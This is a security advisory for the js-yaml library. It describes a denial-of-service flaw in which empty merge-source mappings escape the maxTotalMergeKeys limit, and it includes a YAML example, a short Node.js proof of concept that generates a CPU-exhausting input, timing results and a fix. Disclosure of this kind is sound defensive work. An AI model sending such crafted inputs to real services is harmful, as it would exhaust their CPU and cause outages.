js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources
## Summary `maxTotalMergeKeys` does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit. ## Example ```yaml arr: &arr [{}, {}, {}, ...] # N empty mappings targets: - <<: *arr # repeated K times ``` For every target, the loader iterates all `N` elements of `arr`. This results in `O(N * K)` work while `totalMergeKeys` remains unchanged. ## PoC ```js import { performance } from 'node:perf_hooks' import { load, YAML11_SCHEMA } from 'js-yaml' const n = 20000 const src = 'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\n' + 'targets:\n' + ' - <<: *arr\n'.repeat(n) const started = performance.now() load(src, { schema: YAML11_SCHEMA }) console.log(`${(performance.now() - started).toFixed(1)} ms`) ``` Observed results: | N | YAML size | Time | |---:|---:|---:| | 800 | ~13 KB | ~20 ms | | 3200 | ~50 KB | ~180 ms | | 20000 | ~500 KB | ~13 s | ## Impact When merge keys are enabled, an attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default `maxTotalMergeKeys` limit. ## Fix Count every merge source mapping as one budget unit in addition to counting its keys.
GHSA-r3ph-w7gj-g6xm
Primary source · Revision 1
Imported from structured advisory data. Source references identify upstream records or fields; verify affected versions and your deployed configuration.
Security context
Source reference: osv:GHSA-r3ph-w7gj-g6xm
js-yaml
Source reference: /affected/0/package/name
- Affected versions
- Not stated in this record
- Fixed versions
- 5.4.1
Source reference:
/affected/0/ranges - Prerequisites
- Not stated in this record
Structured affected-version data
Original package identities and version rules from this source.
[
{
"ranges": [
{
"type": "SEMVER",
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.4.1"
}
]
}
],
"package": {
"name": "js-yaml",
"purl": "pkg:npm/js-yaml",
"ecosystem": "npm"
},
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-r3ph-w7gj-g6xm/GHSA-r3ph-w7gj-g6xm.json",
"last_known_affected_version_range": "<= 5.4.0"
}
}
]Publisher severity
No explicit severity was provided.
- Event
- #29754 · Revision 1
- Added to Heist Feed
- Publisher date